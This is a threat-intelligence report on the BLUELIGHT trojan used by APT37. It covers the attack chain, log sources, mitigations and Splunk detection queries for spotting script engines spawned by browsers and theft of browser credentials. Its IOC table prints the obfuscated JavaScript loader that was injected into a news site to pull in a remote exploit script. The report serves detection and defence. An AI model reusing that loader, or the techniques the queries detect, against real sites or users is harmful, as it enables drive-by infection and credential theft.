Date: 2026 | Version: 1.0 | Author: Eslam Anwar Al-seady

BLUELIGHT (TLP: White)

ID: S0657**, Type:** MALWARE**, Platforms:** Windows

Executive Summary

BLUELIGHT is a state-sponsored Remote Access Trojan operated by North Korean APT37, first observed in 2021. The attack targeted South Korean users through a compromised legitimate news website, silently exploiting Internet Explorer vulnerabilities (CVE-2020-1380, CVE-2021-26411) to deliver the malware with zero user interaction. Once active, BLUELIGHT communicated exclusively through Microsoft's OneDrive via the Graph API, making C2 traffic indistinguishable from normal cloud activity. The malware collected system information, captured periodic screenshots, stole browser credentials, and exfiltrated all data back through OneDrive. The campaign's sophistication lies in its use of trusted infrastructure at every stage — a legitimate news site for delivery, legitimate JavaScript libraries for concealment, and Microsoft cloud services for command and control and exfiltration — leaving minimal indicators for traditional security tools to detect.

Risk level: Critical

BLUELIGHT Attack Chain Summary (APT37 / InkySquid — S0657)

Step 1 — Initial Access (T1189): The attacker compromises a legitimate, high-traffic South Korean news website (Daily NK). Malicious JavaScript is injected into jQuery files, silently redirecting Internet Explorer users to attacker-owned domain (jquery[.]services). Only IE user-agents receive the exploit — a deliberate filter to limit exposure and avoid detection.

Step 2 — Execution (T1203): Victims browsing with IE trigger either CVE-2020-1380 or CVE-2021- 26411. Both are memory-corruption exploits in IE's scripting engine. Exploit code is disguised inside a legitimate bPopup JavaScript library and strings are hidden in fake SVG path attributes, decoded at runtime using a custom algorithm.

Step 3 — Defense Evasion (T1027): The BLUELIGHT payload is delivered XOR-encoded (key 0xCF) over HTTP from the attacker's storage server. All malicious strings in the JavaScript are obfuscated using SVG arithmetic encoding. This makes static analysis and automated signature detection significantly harder.

Step 4 — C2 Establishment (T1071.001) Web Protocols: BLUELIGHT authenticates to Microsoft OneDrive using hardcoded OAuth2 tokens and communicates exclusively through the Microsoft Graph API. It creates a structured folder hierarchy (logo/, normal/, background/, theme/, round/) in the victim's OneDrive appfolder to manage commands and data. C2 traffic is indistinguishable from legitimate OneDrive sync activity.

Step 5 — Discovery (T1082, T1012, T1083): Immediately after establishing C2, BLUELIGHT collects a full system fingerprint: username, computer name, OS version, public and local IP, local time, process architecture, SID authority level, AV products installed, and VM tools presence. It also queries the Registry for installed software and can recursively enumerate any directory on the filesystem, uploading file metadata (path, size, timestamps) to assist operator targeting.

Step 6 — Collection (T1113, T1555.003): BLUELIGHT begins continuous collection. Screenshots are captured every 30 seconds for the first 5 minutes, then every 5 minutes. On operator command, it harvests browser cookies and saves password databases from IE, Edge, Chrome, and Naver Whale. It can also recursively collect and ZIP-compress files from any attacker-specified path.

Step 7 — Ingress Tool Transfer & Execution (T1105): Operators place shellcode or executable payloads in the OneDrive 'background' subdirectory. BLUELIGHT downloads and executes them, capturing and uploading program output. This enables delivery of secondary implants such as RokRAT.

Step 8 — Exfiltration (T1567.002): All collected data — screenshots, credentials, file archives, system info, command output — is XOR-encoded and uploaded to the attacker-controlled OneDrive appfolder via Microsoft Graph API. The use of a legitimate Microsoft cloud service means exfiltration traffic bypasses most network monitoring solutions that do not inspect cloud API usage

Initial Access: Drive-by Compromise (T1189)

Data sources / where it comes from:

- Exploits vulnerable browsers (Internet Explorer) of visitors to a compromised legitimate website (Strategic Web Compromise — SWC of Daily NK newspaper).
- Malicious JavaScript injected into legitimate jQuery files on the site redirects victims to attacker-controlled domain (jquery[.]services).

Log sources:

Web Proxy / NSM (Network Security Monitor)

- Network Traffic Content → HTTP/S traffic logs capturing redirect to attacker domain

Sysmon

- Network Connection Creation → Sysmon Event Code=3, 22, DNS + outbound connection to jquery[.]services, iexplore.exe initiating connection to malicious subdomain
- Process Creation → Event Code=1 — browser spawning child process after exploitation

Mutable Elements

- Malicious Domain List → jquery[.]services subdomains to monitor/block
- Vulnerable UA List → Internet Explorer user-agent strings to correlate with exploit delivery
- Time Window → correlation between user visiting the SWC site and first C2 beacon

Mitigation:

- Disable or retire Internet Explorer — CVE-2020-1380 and CVE-2021-26411 only affect IE/legacy Edge
- Web Proxy filtering → block access to known malicious domains and dynamic DNS providers
- Browser isolation / Remote Browser Isolation (RBI) for high-risk user groups

Query:

```
index=sysmon EventCode=3 Image="*iexplore.exe"
NOT DestinationHostname IN ("*.microsoft.com","*.windows.com","*.bing.com")
| stats count by DestinationHostname, SourceIp
```

Execution: Exploitation for Client Execution (T1203)

Data sources / where it comes from:

- Vulnerable Internet Explorer / legacy Edge installation on victim host.
- CVE-2020-1380 (IE scripting engine memory corruption) and CVE-2021-26411 (IE/Edge memory corruption) used to execute shellcode in browser context.

Log sources:

Application Log

- Application Log Content → Event Code=1000 — browser crash or fault on exploitation

Sysmon

- Process Creation → Event Code=1 — iexplore.exe spawning unexpected child processes
- File Creation → Event Code=11 — shellcode/payload written to %TEMP%
- Network Connection Creation → Event Code=3, 22 — browser connecting to C2 for shellcode download

Mutable Elements

- High Risk Children→ processes that should never be spawned by iexplore.exe
- User Paths → %TEMP%, %APPDATA% writable paths to watch for payload drops
- Time Window → correlation window between browser crash event, file write, and outbound connection
- Egress Allowlist → known CDN/update domains; flag anything outside this list from browser process

Mitigation:

- Patch immediately — CVE-2020-1380 patched August 2020, CVE-2021-26411 patched March 2021
- Application Isolation and Sandboxing → run browser in sandbox (Windows Defender Application Guard)
- Disable legacy Internet Explorer via Group Policy — EnterpriseModeSiteList or DisableIE11 registry key

Query:

```
index=sysmon EventCode=1
ParentImage="*iexplore.exe"
Image IN ("*cmd.exe","*powershell.exe","*wscript.exe","*mshta.exe")
| table _time, ParentImage, Image, CommandLine, User
```

Date: 2026 | Version: 1.0 | Author: Eslam Anwar Al-seady

Defense Evasion: Obfuscated Files or Information (T1027)

Data sources / where it comes from:

- Exploit JavaScript buried inside legitimate bPopup library code to evade automated scanning.
- Malicious strings hidden in fake SVG path 'd' attributes and decoded at runtime using custom arithmetic.
- BLUELIGHT payload XOR-encoded (key: 0xCF) before delivery over HTTP.

Log sources

Security Logs

- Process Creation(initiation) → Event Code=4688 — scripting engines decoding/executing obfuscated content

Sysmon

- Process Creation → Event Code=1 — wscript/powershell/iexplore executing obfuscated scripts
- File Creation → Event Code=11 — decoded payload written to disk

Mutable Elements

- Payload Entropy Threshold → high-entropy blobs in JavaScript SVG tags indicating obfuscation
- Suspicious Parent Process List → iexplore.exe, wscript.exe executing encoded content
- Time Window → correlation between script execution and encoded file creation or network connect

Mitigation:

- AMSI (Antimalware Scan Interface) → intercepts and scans decoded script content at runtime
- JavaScript sandbox / content security policy on endpoints
- Network IPS with JavaScript deobfuscation capability to detect SVG-hidden exploit code

Query:

```
index=wineventlog EventCode=4688
NewProcessName IN ("*powershell.exe","*wscript.exe","*iexplore.exe")
CommandLine IN ("*FromBase64String*","*SVG*","*XOR*","*char*")
| table _time, NewProcessName, CommandLine, SubjectUserName
```

Command & Control: Web Protocols — Microsoft Graph API (T1071.001)

Data sources / where it comes from:

- Network — BLUELIGHT authenticates to Microsoft OneDrive via OAuth2 using hardcoded tokens, then uses the Microsoft Graph API for all C2 communications.
- C2 traffic entirely rides legitimate Microsoft cloud infrastructure, blending with normal enterprise traffic.

Log sources:

NSM Flow

- Network Traffic Content → ssl.log, http.log — HTTPS sessions to graph.microsoft.com

Sysmon

- Network Connection Creation → Event Code=3, 22 — process connecting to login.microsoftonline.com and graph.microsoft.com

Mutable Elements

- Process Name Exclusions → filter out legitimate Office/OneDrive sync processes; flag non-standard processes hitting Graph API
- OAuth Token Anomalies → hardcoded OAuth2 client_id or refresh_token values in process memory or config
- Outbound Byte Ratio Threshold → flag when outbound uploads to OneDrive exceed inbound by large margin (exfil pattern)
- Time Window → beacon regularity — BLUELIGHT polls every ~30 seconds; detect periodic C2 heartbeat

Mitigation:

- Filter Network Traffic → use Cloud Access Security Broker (CASB) to inspect OneDrive API calls
- Conditional Access Policies → restrict OAuth app registrations; alert on unknown client_id values
- Use Microsoft Defender for Cloud Apps to detect anomalous OneDrive API usage patterns

Query:

```
index=sysmon EventCode=3
DestinationHostname IN ("graph.microsoft.com","login.microsoftonline.com")
NOT Image IN ("*onedrive.exe","*teams.exe","*outlook.exe","*msedge.exe")
| stats count by Image, DestinationHostname, DestinationPort
```

Date: 2026 | Version: 1.0 | Author: Eslam Anwar Al-seady

Discovery: System Information Discovery (T1082)

Data sources / where it comes from:

- BLUELIGHT collects victim fingerprints at startup: username, computer name, OS version, web IP, local IP, local time, process architecture (32/64-bit), process SID authority level, process filename, list of installed AV products, presence of VM tools.

Log sources:

Security Logs

- Process Creation → Event Code=4688 — WMI or API calls for system info

Sysmon

- Process Creation → Event Code=1 — wmic.exe or PowerShell querying system properties
- Process Access → Event Code=10 — process reading system info from other processes

Mutable Elements

- Parent Process Name → scope discovery to non-interactive parents: shellcode-loaded processes, browser child processes
- Time Window → burst of system info queries within seconds of initial execution

Mitigation:

- Restrict WMI access for standard users
- Monitor and alert on WMI/API system enumeration from browser child processes

Query:

```
index=sysmon EventCode=1
Image IN ("*wmic.exe","*powershell.exe")
CommandLine IN ("*Win32_ComputerSystem*","*Win32_OperatingSystem*","*Win32_Processor*")
ParentImage IN ("*iexplore.exe","*wscript.exe")
| table _time, Image, CommandLine, ParentImage
```

Discovery: Query Registry (T1012)

Data sources / where it comes from:

- BLUELIGHT queries the Windows Registry to enumerate installed AV products (typically from HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall and WMI SecurityCenter2 namespace) as part of its victim profiling.

Log sources:

Security Logs

- Process Creation (DC0032) → Event Code=4688 — reg.exe or wmic.exe querying registry keys

Sysmon

- Windows Registry Key Access (DC0063) → Event Code=13 — read access to software/AV registry paths

Mutable Elements

- Registry Key Path →HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, HKLM\SYSTEM\CurrentControlSet\Services
- Parent Process Name → flag registry queries originating from browser or shellcode-injected process

Mitigation:

- This technique is based on abuse of system features and cannot be easily mitigated (according to MITRE) with preventive controls
- Focus on detection: alert on registry enumeration from non-administrative or browser-descended processes
- Privileged Access Management to prevent BLUELIGHT from reading the registries

Query:

```
index=sysmon EventCode=13
TargetObject IN (
"*\\CurrentVersion\\Uninstall*",
"*\\CurrentControlSet\\Services*",
"*SecurityCenter2*"
)
NOT Image IN ("*MsMpEng.exe","*svchost.exe","*TrustedInstaller.exe")
| table _time, Image, TargetObject, User
```

Discovery: File and Directory Discovery (T1083)

Data sources / where it comes from:

- BLUELIGHT supports a command to recursively search a specified path and upload file metadata (timestamps, size, and full path) to the C2 OneDrive folder. Used to map victim file system before targeted exfiltration.

Log sources:

Sysmon

- File Access → Event Code=23 — bulk file metadata reads across directory trees
- Process Creation → Event Code=1 — cmd.exe or PowerShell dir/tree commands

Security Logs

- Process Creation(initiation) → Event Code=4688 — recursive directory traversal from non-standard process

Mutable Elements

- Parent Process Name → flag recursive file enumeration from shellcode-injected or browser processes
- Time Window → detect bursty file enumeration across many directories in short timeframe
- Sensitive Path List → Desktop, Documents, Downloads, %APPDATA% high-value target directories

Mitigation:

- Restrict access to sensitive directories via NTFS permissions
- File access auditing on sensitive paths (enable Object Access auditing)

Query:

```
  index=sysmon EventCode=1
  Image IN ("*cmd.exe","*powershell.exe")
  CommandLine IN ("*dir *","*tree *","*Get-ChildItem*","*ls *")
  ParentImage IN ("*iexplore.exe","*wscript.exe","*powershell.exe")
| table _time, Image, CommandLine, ParentImage, User
```

Collection: Screen Capture (T1113)

Data sources / where it comes from:

- BLUELIGHT captures a screenshot of the victim's display with every C2 loop iteration — every ~30 seconds for the first 5 minutes, then every 5 minutes thereafter. Uploaded as .jpg files to the 'normal' subdirectory of the OneDrive appfolder.

Log sources:

Sysmon

- Process Access (DC0035) → Event Code=10 — process calling GDI/BitBlt screen capture API
- File Creation (DC0039) → Event Code=11 — periodic .jpg files written to temp/working directory

Security Logs

- File Access (DC0055) → Event Code=4663 — read access to screen buffer / GDI objects

Mutable Elements

- Target Image → flag screen capture API calls (BitBlt, CopyFromScreen) from non-standard processes
- Time Window → periodic file creation at regular intervals (every 30s or 5min) is a strong IOC
- File Name Pattern → .jpg files with encoded timestamp filenames created by non-image-editing process

Mitigation:

- EDR behavioral detection for BitBlt/GDI API calls from non-UI processes
- Privileged Access Workstations (PAW) for handling sensitive information

Query:

```
index=sysmon EventCode=11
TargetFilename="*.jpg"
NOT Image IN ("*chrome.exe","*msedge.exe","*Photos.exe","*SnippingTool.exe")
| bucket _time span=1m
| stats count by _time, Image, TargetFilename
| where count > 3
```

Date: 2026 | Version: 1.0 | Author: Eslam Anwar Al-seady

Collection: Credentials from Web Browsers (T1555.003)

Data sources / where it comes from:

- BLUELIGHT supports a dedicated command to harvest cookies and password databases from supported browsers: Windows 7 IE, Windows 10 IE, Microsoft Edge, Google Chrome, and Naver Whale. Data uploaded to C2 OneDrive folder.

Log sources:

Security Logs

- File Access (DC0055) → Event Code=4663, 4670, 4656 — access to browser credential DB files

Sysmon

- Process Access (DC0035) → Event Code=10 — non-browser process accessing browser process memory or profile
- File Creation (DC0039) → Event Code=11 — credential DB copied to temp location

Mutable Elements

- Target Processes → chrome.exe, msedge.exe, iexplore.exe — flag when non-browser process reads their profile dirs
- Keyword Patterns → 'Login Data', 'Cookies', 'Web Data' file paths accessed by unexpected process

Mitigation:

- Use hardware security keys (FIDO2/WebAuthn) — stolen cookies unusable without physical key
- Privileged Account Management → restrict accounts that can access browser profile directories
- Monitor file access to browser profile paths from non-browser processes

Query:

```
index=sysmon EventCode=10
TargetImage IN ("*chrome.exe","*msedge.exe","*iexplore.exe","*firefox.exe")
NOT SourceImage IN ("*chrome.exe","*msedge.exe","*iexplore.exe","*firefox.exe")
GrantedAccess="0x1fffff"
| table _time, SourceImage, TargetImage, GrantedAccess, User
```

Tactic: Command & Control | Ingress Tool Transfer (T1105)

Data sources / where it comes from:

- BLUELIGHT supports commands to download and execute additional payloads from the C2 OneDrive folder. Operators place shellcode or executables in the 'background' subdirectory; BLUELIGHT downloads, executes, and uploads the program output.

Log sources:

Sysmon

- File Creation (DC0039) → Event Code=11 — new executable or shellcode file written from network
- Process Creation (DC0032) → Event Code=1 — newly downloaded executable launched
- Network Connection Creation (DC0082) → Event Code=3 — download from graph.microsoft.com / OneDrive

Security Logs

- Process Creation (DC0032) → Event Code=4688 — process launched from %TEMP% or unusual path

Mutable Elements

- User Paths → %TEMP%, %APPDATA% flag executables launched from these paths
- Egress Allowlist → OneDrive API calls from non-Office processes should be investigated
- Time Window → correlation between file download event and new process creation

Mitigation:

- Application Control (WDAC/AppLocker) → block execution of unsigned binaries from user-writable paths
- Monitor and alert on process execution from %TEMP% or %APPDATA%

Query:

```
index=sysmon EventCode=11
TargetFilename IN ("*\\Temp\\*.exe","*\\AppData\\*.exe","*\\Temp\\*.dll")
| join Image [search index=sysmon EventCode=3
  DestinationHostname="graph.microsoft.com"]
| table _time, Image, TargetFilename, DestinationHostname
```

Date: 2026 | Version: 1.0 | Author: Eslam Anwar Al-seady

Exfiltration: Exfiltration Over Web Service — OneDrive (T1567.002)

Data sources / where it comes from:

- All stolen data — system fingerprint (JSON), screenshots (.jpg), browser credentials, file metadata, and ZIP archives of target files — is uploaded to attacker-controlled OneDrive appfolder subdirectories via Microsoft Graph API. Data is XOR-encoded before uploading.

Log sources:

NSM Flow

- Network Traffic Content (DC0085) → ssl.log — HTTPS POST requests to graph.microsoft.com with large bodies

Sysmon

- Network Connection Creation (DC0082) → Event Code=3, 22 — periodic outbound to graph.microsoft.com from shellcode process

Mutable Elements

- Outbound Byte Ratio Threshold → flag when outbound > inbound to OneDrive by 90%+ (upload-heavy pattern)
- Process Name Exclusions → OneDrive.exe is legitimate; flag graph.microsoft.com connections from ANY other process
- Time Window → regular upload pattern every 30 seconds = strong behavioral IOC
- File Type Anomaly → .jpg files uploaded from non-image-editing processes in bursts

Mitigation:

- CASB (Cloud Access Security Broker) → inspect and limit OneDrive uploads from non-sanctioned apps
- DLP policies → detect structured data (JSON system info, credential dumps) in cloud uploads
- Conditional Access → restrict which applications can authenticate to Microsoft Graph API

Query:

```
index=sysmon EventCode=3
DestinationHostname="graph.microsoft.com"
NOT Image IN ("*onedrive.exe","*teams.exe","*outlook.exe")
| stats sum(bytes_out) as TotalUpload by Image, SourceIp
| where TotalUpload > 5000000
| sort – TotalUpload
```

IOCs

INDICATOR	VALUE
SWC ACTIVITY	hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1
SWC ACTIVITY	hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
SWC ACTIVITY	hxxps://ui.jquery[.]services/responsive-extend.min.js
SHA-256 (VERFIED BLUELIGHT FILE)	5c430e2770b59cceba1f1587b34e686d586d2c8ba1908bb5d066a616466d2cc6
INJECTED CODE IN NK SITE	function vgrai(){var e=document.createElement(“script”);e.src=fecet(“w6625I>>7x=y37t4;=5t48xrt5>4t52105x8t<t:6t0s=/x0=y5”,15),document.head&&document.head.appendChild(e)}function vdgie(){const e=window.navigator.userAgent,t=e.indexOf(“rv:11.0“),i=e.indexOf(“Trident/”);return t>0||i>0}vdgie()&&vgrai();
SHA-256 (VOLEXITY)	7c40019c1d4cef2ffdd1dd8f388aaba537440b1bffee41789c900122d075a86d
SHA-256 (VOLEXITY)	94b71ee0861cc7cfbbae53ad2e411a76f296fd5684edf6b25ebe79bf6a2a600a
CVES	CVE-2020-1380, CVE-2021-26411
XOR KEY	0xCF
DOMAIN	jquery[.]services, ui.jquery[.]services, storage.jquery[.]services

References:

- MITRE ATT&CK BLUELIGHT S0657
- VOLEXITY: North Korean APT InkySquid Infects Victims Using Browser Exploits
- **CVE database:**
  - CVE-2020-1380
  - CVE-2021-26411